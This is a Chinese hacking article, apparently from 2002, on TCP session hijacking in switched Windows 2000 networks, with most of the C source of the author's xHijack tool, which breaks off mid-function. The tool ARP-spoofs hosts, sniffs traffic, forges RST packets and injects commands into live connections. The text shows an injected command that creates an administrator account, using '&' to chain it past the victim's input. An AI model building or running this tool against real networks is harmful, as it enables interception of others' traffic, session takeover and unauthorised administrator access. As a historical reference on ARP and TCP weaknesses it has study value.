|
再谈交换环境下的会话劫持(For windows2000) (阅览
次)
再谈交换环境下的会话劫持(For windows2000)
作者:eyas
第一步是开启IP Routing的功能,修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 第二步是ARP欺骗,具体原理我就不说了。 第三步就是开始劫持啦。
我写了个程序xHijack可以实现第二、三步功能,使用如下:
Usage: xHijack ServerSide ClientSide
下面根据三种不同的情况分别说明如何输入参数: <1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 c:\>xHijack 192.168.0.2 192.168.0.3 劫持前数据流程:server <--> client 劫持后数据流程:server <--> hijacker <--> client
<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 xHijack 202.202.202.2 202.202.202.1 劫持前数据流程:server <--> gw <--> routes <--> client 劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 xHijack 192.168.0.1 192.168.0.2 劫持前数据流程:client <--> gw <--> routes <--> server 劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
输入两个参数后,会提示你选择网卡,然后会提示 l <-- List all connections r x <-- Reset the number x connection w x <-- Watch the number x connection h x command <-- Hijack the number x connection to execute command
list、reset、watch命令我就不解释了。 假如现在有如下连接 (1) 202.202.202.202:23 <--> 192.168.0.3:2345 我们想要劫持这个连接运行我们的命令,输入 xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add" 为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
劫持的流程如下: <1>伪装成Server给Client发一个rst包 <2>伪装成Client给Server发了一个数据包 <3>Server回一个ACK包给client <4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
这样的话,我们只能发一个伪造的包,但我想已经足够了。 想要一直劫持那个连接也可以,如下 <1>伪装成Server给Client发一个rst包 <2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA <3>伪装成Client给Server发了一个数据包 <4>Server回一个ACK包给client <5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 <6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 还请各位多多指点。
BTW:我没有空间,编译好的程序没地方放:(
参考资料 <>交换环境下的会话劫持 http://www.xfocus.net/article_view.php?id=375 <>交换网络中的嗅探和ARP欺骗 http://www.xfocus.net/article_view.php?id=377
以下是程序代码 ---------------------------------------------------------------------- /*----------------------------------------------------------------------------- File : xHijack.c Version : 1.0 Create at : 2002/8/12 Last modifed at : 2002/8/19 Author : eyas Email : ey4s@21cn.com HomePage : www.ey4s.org 感谢refdom和shotgun发布的源代码,使我获益非浅。 If you modify the code, or add more functions, please email me a copy.
备注: <>没有考虑IP头、TCP头超过20字节的情况 <>没有考虑数据包分片的情况 <>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 题了。
也许下一版本会修正这些问题,也许不会有下一版本了。
-----------------------------------------------------------------------------*/ #include <stdio.h> #include <conio.h> #include <Packet32.h> #include <ntddndis.h> #include <winsock2.h> #include <iphlpapi.h> #include <windows.h>
#pragma comment (lib, "packet") #pragma comment (lib, "iphlpapi") #pragma comment (lib, "ws2_32")
#define Max_Num_Adapter 10 #define Max_Num_IPAddr 5 #define EPT_IP 0x0800 /* type: IP */ #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */ #define EPT_ARP 0x0806 /* type: ARP */
#define ACTION_NONE 0 #define ACTION_WATCH 1 #define ACTION_RESET 2 #define ACTION_HIJACK 3
/*以1字节对齐*/ #pragma pack(1) typedef struct _ehhdr { unsigned char DestMAC[6]; unsigned char SourceMAC[6]; unsigned short EthernetType; }EHHDR, *PEHHDR;
typedef struct _iphdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IPHDR, *PIPHDR;
typedef struct _tcphdr //定义TCP首部 { USHORT th_sport; //16位源端口 USHORT th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位校验和 USHORT th_urp; //16位紧急数据偏移量 }TCPHDR, *PTCPHDR;
typedef struct _psdhdr //定义TCP pseudo header { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSDHDR, *PPSDHDR;
typedef struct _arphdr { unsigned short HrdType;//硬件类型 unsigned short ProType;//协议类型 unsigned char HrdAddrlen;//硬件地址长度 unsigned char ProAddrLen;//协议地址长度 unsigned short op;//operation unsigned char SourceMAC[6];/* sender hardware address */ unsigned long SourceIP;/* sender protocol address */ unsigned char DestMAC[6];/* target hardware address */ unsigned long DestIP;/* target protocol address */ }ARPHDR, *PARPHDR;
typedef struct _ArpPacket { EHHDR ehhdr; ARPHDR arphdr; }ARPPACKET, *PARPPACKET;
typedef struct _tcppacket { EHHDR ehhdr; IPHDR iphdr; TCPHDR tcphdr; }TCPPACKET, *PTCPPACKET;
typedef struct _conninfo { DWORD dwServerIP; USHORT uServerPort; DWORD dwClientIP; USHORT uClientPort; DWORD ident;//标识 BOOL bActive; struct _conninfo *Next; }CONNINFO, *PCONNINFO;
//定义全局变量 unsigned int g_ServerSideIP, g_ClientSideIP, g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 g_TotalIP = 0;// unsigned char g_szOwnMAC[6];//本机MAC地址 unsigned char g_szClientSideMAC[6]; unsigned char g_szServerSideMAC[6]; char g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 LPADAPTER g_lpAdapter; //1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread HANDLE g_hThread[4]; char g_szCommand[128];//command to execute after hijack DWORD g_dwAction;//action type DWORD g_dwCtrlConn;//action 所控制连接的标识 DWORD g_ident;//节点标识,递增 PCONNINFO g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 g_pConnHead = NULL, g_pConnLast = NULL; char g_szSendPacketBuf[1514]; LPPACKET g_lpSendPacket; //函数 void usage(void); void ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); void ListAllConnection();//列出当前所有的连接 void ResetActionAllFlag(); USHORT checksum(USHORT *, int); BOOL GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 BOOL IsACKPacket(unsigned char);//判断是不是一个纯ack包 LPADAPTER InitAdapter();//初始化一些参数和全局变量 BOOL SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 BOOL SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 DWORD GetConnNum(char *, DWORD, DWORD *); DWORD CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); DWORD WINAPI ArpSpoofThread(LPVOID);//进行arp欺骗的函数 DWORD WINAPI AnalysePacketsThread(LPVOID);//分析处理接收到的包 DWORD WINAPI InterfaceThread(LPVOID);// BOOL WINAPI CtrlEvent(DWORD);
int main(int argc, char **argv) { struct bpf_stat stat; int i;
usage(); if (argc != 3) return 0; //取得参数 g_ServerSideIP = inet_addr(argv[1]); g_ClientSideIP = inet_addr(argv[2]); //初始化adapter & 一些全局变量 g_lpAdapter = InitAdapter(); if(!g_lpAdapter) return 0; //get ServerSide MAC & ClientSide MAC if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0; if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; //create arp spoof thread i = 1; g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); Sleep(500); i = 2; g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); //create analyse packet thread g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); //create interface thread g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); //set console ctrl handle if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) { printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); return 0; } //wait for any thread exit WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); //print the capture statistics if(PacketGetStats(g_lpAdapter, &stat) == FALSE) printf("Warning: unable to get stats from the kernel!\n"); else printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); //free resource PacketFreePacket(g_lpSendPacket); PacketCloseAdapter(g_lpAdapter); return 0; }
// //功能:重置所有于ACTION有关的标志 // void ResetActionAllFlag() { g_dwCtrlConn = 0; g_pCurrCtrlConn = NULL; g_dwAction = ACTION_NONE; }
// //功能:处理Ctrl+C和Ctrl+Break事件 // BOOL WINAPI CtrlEvent(DWORD dwCtrlType) { switch(dwCtrlType) { case CTRL_BREAK_EVENT: //reset action all flag ResetActionAllFlag(); break; case CTRL_C_EVENT: //terminate all thread TerminateThread(g_hThread[0], 0); TerminateThread(g_hThread[1], 0); TerminateThread(g_hThread[2], 0); TerminateThread(g_hThread[3], 0); break; default: break; } return TRUE; }
// //功能:处理用户输入 // DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) { DWORD i; char szBuff[16];
*lpCommandPos = 0; for(i=0; i<15, i<dwLen; i++) { if(szStr[i] == 0x20) { *lpCommandPos = i; break; } else szBuff[i] = szStr[i]; } szBuff[i] = 0x0; return atoi(szBuff); }
// //功能:取得用户输入 //这部分代码比较乱 // DWORD WINAPI InterfaceThread(LPVOID lp) { char szHelp[] = "l\t\t<-- List all connections\n" "r x\t\t<-- Reset the number x connection\n" "w x\t\t<-- Watch the number x connection\n" "h x command\t<-- Hijack the number x connection to execute command\n" "[Note]\n" "Ctrl+Break to clear all action\n" "Ctrl+C to exit\n"; char szPrompt[] = "\nxHijack>"; char szBuffer[128]; DWORD dwPos; PCONNINFO pTmp;
while(1) { gets(szBuffer);//不考虑buffer overflow switch(szBuffer[0]) { case 'l': case 'L': ListAllConnection(); break; case 'r': case 'R': if(strlen(szBuffer) >2) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); g_dwAction = ACTION_RESET; } else printf("%s", szHelp); break; case 'w': case 'W': if(strlen(szBuffer) > 2) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); g_dwAction = ACTION_WATCH; } else printf("%s", szHelp); break; case 'h': case 'H'://h 1 xxx if(strlen(szBuffer) > 5) { g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); //如果command第一个字符是'或" if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) { strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或" } else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); strcat(g_szCommand, "\x0D\x0A"); g_dwAction = ACTION_HIJACK; } else printf("%s", szHelp); break; default: printf("%s", szHelp); break; }//end of switch //find the specify ident's struct point if( (g_dwCtrlConn) && (g_dwAction) ) { g_pCurrCtrlConn = NULL; pTmp = g_pConnHead; while(pTmp) { if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) { g_pCurrCtrlConn = pTmp; break; } pTmp = pTmp->Next; } if(!g_pCurrCtrlConn) { printf("Can't find the number %d connection.\n", g_dwCtrlConn); //reset action all flag ResetActionAllFlag(); } } if(!g_dwCtrlConn) ResetActionAllFlag(); //显示当前用户所期望的动作 printf("\nCurrentAction:"); switch(g_dwAction) { case ACTION_WATCH: printf("ACTION_WATCH"); break; case ACTION_RESET: printf("ACTION_RESET"); break; case ACTION_HIJACK: printf("ACTION_HIJACK"); break; default: printf("ACTION_NONE"); break; } printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); }//enf of while return 0; }
// //功能:列出当前所有连接 // void ListAllConnection() { PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { saSource.sin_addr.s_addr = pTmp->dwServerIP; saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); } pTmp = pTmp->Next; } }
// //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 // LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength = 1024; int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ULONG ulLen = 0; DWORD dwRet; PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr;
//Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = temp1 = AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList[i],temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList[i]); temp1=temp+1; i++; } temp++; } //choose adapter while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); } printf("\n"); //---------------------------------------------// //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pTmp = pAdapterInfo; while(pTmp) { //字符匹配 if(strstr(szSelectAdapterName, pTmp->AdapterName)) { //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); //get ip address pIPAddr = &pTmp->IpAddressList; while(pIPAddr) { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; } break; } pTmp = pTmp->Next; } free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) { printf("Unable to set ALL_LOCAL mode!\n"); return 0; } } // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); return 0; } // set a 1 second read timeout if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); return 0; } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; }
//功能:帮助信息 void usage() { printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" "By eyas<ey4s@21cn.com> 2002/8/19\n" "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); }
// //功能:显示数据包的一些详细信息 // VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; int i;
saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) { if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag[i]); else printf("-"); } printf("\n"); //如有需要,可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); }
// //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 // DWORD WINAPI AnalysePacketsThread(LPVOID lp) { ULONG ulBytesReceived; USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; char *buf; u_int off, i; PTCPPACKET pTCPPacket; struct bpf_hdr *hdr; LPPACKET lpRecvPacket; char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端
//设置接收的packet lpRecvPacket = PacketAllocatePacket(); if(lpRecvPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) { // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); break; } ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; off = 0; while(off < ulBytesReceived) { hdr = (struct bpf_hdr *)(buf + off); off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; //检查是否IP包 if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 for(i=0; i<g_TotalIP; i++) if(pTCPPacket->iphdr.destIP == g_OwnIP[i]) break; if(i != g_TotalIP) continue; //暂不考虑IP、TCP头不是20字节的情况 //计算tcp数据长度,总长度减去ip头长度和tcp头长度 //usIPHeadLen = (pTCPPacket->iphdr.h_verlen & 0x0F) * sizeof(unsigned long); //usTCPHeadLen = ((pTCPPacket->tcphdr.th_lenres >> 4) & 0x0F) * sizeof(unsigned long); //usDataLen = ntohs(pTCPPacket->iphdr.total_len) - usIPHeadLen - usTCPHeadLen; usDataLen = ntohs(pTCPPacket->iphdr.total_len) - 40; //reset ctrl link flag bDeleteNode = FALSE; bAddNew = FALSE; //如果收到rst或fin包,则把此连接节点信息删除 if( (pTCPPacket->tcphdr.th_flag & 0x4) ||//rst (pTCPPacket->tcphdr.th_flag & 0x1) )//fin bDeleteNode = TRUE; //收到带P标志的TCP包,才创建新的节点,如果此节点还不存在的话 if(pTCPPacket->tcphdr.th_flag & 0x8 ) bAddNew = TRUE; //server:xx --> client:xx if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szServerSideMAC, 6) == 0) { //update link info ident = CtrlConnInfoLink(pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport, bDeleteNode, bAddNew); bClientToServer = FALSE; } //server:xx <-- client:xx else if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szClientSideMAC, 6) ==0) { //update link info ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport, pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, bDeleteNode, bAddNew); bClientToServer = TRUE; } else continue; //检查是否想控制的那个连接的包 //捕获到一个从ClientSide -> ServerSide的纯ack包后才开始劫持 //触发劫持的条件可自行修改,我比较喜欢在客户发送一个存ACK包给SERVER后才开始劫持 if(ident == g_dwCtrlConn) { if( (IsACKPacket(pTCPPacket->tcphdr.th_flag)) && (bClientToServer) ) { //reset the connection if(g_dwAction == ACTION_RESET) { //send rst action,把ack包的ack做为rst包的seq,把seq作为ack SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); //update link ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport, pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); //reset action flag ResetActionAllFlag(); } //start hijack else if(g_dwAction == ACTION_HIJACK) { //send rst packet to client SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); //send hijack packet to client SendHiJackPacket(pTCPPacket); //reset action flag ResetActionAllFlag(); } } //show the tcp data if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) { ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); //暂不考虑IP、TCP头不是20字节的情况 //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; pStr = (char *)pTCPPacket + 54; for(i=0; i<usDataLen; printf("%c", pStr[i]), i++); } } //debug output //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); }//end of analyse packets while }//end of recv packets while PacketFreePacket(lpRecvPacket); return 0; }
// //功能:操作记录所有连接信息的单向链表 // DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, USHORT uClientPort, BOOL bDelete, BOOL bAddNew) { PCONNINFO pNew, pTmp;
pTmp = g_pConnHead; while(pTmp) { if(pTmp->bActive) { //found it if( (pTmp->dwServerIP == dwServerIP) && (pTmp->uServerPort == uServerPort) && (pTmp->dwClientIP == dwClientIP) && (pTmp->uClientPort == uClientPort) ) { if(bDelete) { pTmp->bActive = FALSE; return 0; } else return pTmp->ident; } } pTmp = pTmp->Next; } //not found, create new node if( (!pTmp) && (!bDelete) && (bAddNew) ) { //search unactive note pTmp = g_pConnHead; while(pTmp) { if(!pTmp->bActive) break; pTmp = pTmp->Next; } //found a unactive node if(pTmp) { pTmp->dwServerIP = dwServerIP; pTmp->uServerPort = uServerPort; pTmp->dwClientIP = dwClientIP; pTmp->uClientPort = uClientPort; pTmp->bActive = TRUE; return pTmp->ident; } //not found,create new node pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); if(!pNew) { printf("malloc for link node error:%d\n", GetLastError()); return 0; } //fill the struct pNew->bActive = TRUE; pNew->dwServerIP = dwServerIP; pNew->uServerPort = uServerPort; pNew->dwClientIP = dwClientIP; pNew->uClientPort = uClientPort; pNew->ident = ++g_ident; pNew->Next = NULL; //add new node to link if(!g_pConnHead) g_pConnHead = g_pConnLast = pNew; else { g_pConnLast->Next = pNew; g_pConnLast = pNew; } return pNew->ident; } return 0; }
// //功能:判断一个数据包是不是只有ACK标志 // BOOL IsACKPacket(unsigned char flag) { int i, j=1; for(i=0 ; i<4; i++) { if(flag & j) return FALSE; j <<= 1; } if(!(flag & 0x10)) return FALSE;//is ack? if(flag & 0x20) return FALSE; return TRUE; }
// //功能:伪装成Client给Server发送数据包 // BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) {
char szBuff[1520]; PSDHDR psdhdr; PTCPPACKET pHiJackPacket = NULL; BOOL bRet = FALSE;
__try { // if(!g_pCurrCtrlConn) __leave; //allocate memory for hijack packet pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); if(!pHiJackPacket) { printf("malloc error:%d\n", GetLastError()); __leave; } memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); //-------------- modify the packet ---------------// //modify ethernet head memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); //modify ip head pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); pHiJackPacket->iphdr.ident += 1;//标识加1 pHiJackPacket->iphdr.checksum = 0; pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 //modify tcp head pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); pHiJackPacket->tcphdr.th_flag = 0x18;// PA pHiJackPacket->tcphdr.th_sum = 0; pHiJackPacket->tcphdr.th_win = 0x3F44; //fill tcp psd head psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; psdhdr.daddr = pHiJackPacket->iphdr.destIP; psdhdr.mbz = 0; psdhdr.ptcl = IPPROTO_TCP; psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len //calculate tcp checksum memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); //calculate IP checksum pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); //fill send buffer memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); memset(g_lpSendPacket->Buffer, 0, 1514); memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) { printf("Error sending the hijack packets!\n"); __leave; } else printf("Send hijack packet ok!\n"); bRet = TRUE; } __finally { if(pHiJackPacket) free(pHiJackPacket); } return bRet; }
// //功能:伪装成Server给Client发送rst包 // BOOL SendRstPacket(unsigned int seq, unsigned int ack) { char szBuff[60]; PSDHDR psdhdr; PTCPPACKET pTcpPacket = NULL; BOOL bRet = FALSE;
__try { //检查当前指向想控制的连接的信息的指针是否为空 if(!g_pCurrCtrlConn) __leave; //allocate memory for rst packet pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); if(!pTcpPacket) { printf("malloc error:%d\n", GetLastError()); __leave; } //fill ethernet head memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6); memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); //fil ip head pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); pTcpPacket->iphdr.tos = 0; pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); pTcpPacket->iphdr.ident = 1; pTcpPacket->iphdr.frag_and_flags = 0; pTcpPacket->iphdr.ttl = 128; pTcpPacket->iphdr.proto = IPPROTO_TCP; pTcpPacket->iphdr.checksum = 0; pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的 pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址 //fill tcp head pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口 